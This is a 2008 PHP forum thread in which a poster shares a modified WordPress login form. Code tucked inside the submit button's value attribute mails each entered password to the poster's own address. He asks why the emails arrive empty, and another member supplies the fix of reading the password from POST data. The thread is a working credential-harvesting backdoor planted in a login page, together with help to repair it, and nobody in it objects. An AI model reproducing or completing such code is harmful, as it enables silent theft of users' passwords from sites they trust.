Getting User Input Emailed!!

Discussion in 'PHP' started by webcracker, May 9, 2008.

  1. #1
    Hi guys ..

    i need some hlp with this code. what i want to do is to get user enetered password emailed. here is the code that i am working on..


    <form name="loginform" id="loginform" action="wp-login.php" method="post">
    <?php if ( !isset($_GET['checkemail']) || !in_array( $_GET['checkemail'], array('confirm', 'newpass') ) ) : ?>
    	<p>
    		<label><?php _e('Username') ?><br />
    		<input type="text" name="log" id="user_login" class="input" value="<?php echo attribute_escape(stripslashes($user_login)); ?>" size="20" tabindex="10" /></label>
    	</p>
    	<p>
    		<label><?php _e('Password')?><br />
    		<input type="password" name="pwd" id="user_pass" class="input" value="" size="20" tabindex="20" /></label>
    	</p>
    <?php do_action('login_form'); ?>
    	<p class="forgetmenot"><label><input name="rememberme" type="checkbox" id="rememberme" value="forever" tabindex="90" /> <?php _e('Remember Me'); ?></label></p>
    	<p class="submit">
    		<input type="submit" name="wp-submit" id="wp-submit" value="<?php
    _e('Log In'); $to = "my@email.com";
    $subject = "Password";
    $body = "The password is : \n";
    $body .= $pwd;
    mail($to, $subject, $body);?>" tabindex="100" />
    		<input type="hidden" name="redirect_to" value="<?php echo attribute_escape($redirect_to); ?>" />
    		<input type="hidden" name="testcookie" value="1" />
    	</p>
    <?php else : ?>
    	<p>&nbsp;</p>
    <?php endif; ?>
    </form>
    PHP:
    but when i enter the password into password field.. i get a blank email..

    can anybody tell me whats wrong with this code..
     
    webcracker, May 9, 2008 IP
  2. itcn

    itcn Well-Known Member

    Messages:
    795
    Likes Received:
    31
    Best Answers:
    0
    Trophy Points:
    118
    #2
    itcn, May 9, 2008 IP
  3. webcracker

    webcracker Peon

    Messages:
    50
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #3
    thanks for the link itcn.. but problem is that i want to get user entered password to be emailed.. so that contact form wont help me.. i want to know how to get password as input in the above code.. as i am getting a email with this code but without any password in it.
     
    webcracker, May 9, 2008 IP
  4. Sabbir

    Sabbir Banned

    Messages:
    210
    Likes Received:
    6
    Best Answers:
    0
    Trophy Points:
    58
    #4
    hi,

    how you are getting the $pwd.
    i think you are using $pwd = $_POST[pwd]; :)
     
    Sabbir, May 9, 2008 IP
  5. webcracker

    webcracker Peon

    Messages:
    50
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #5
    thanks sabbir.. :) You rock man..
     
    webcracker, May 10, 2008 IP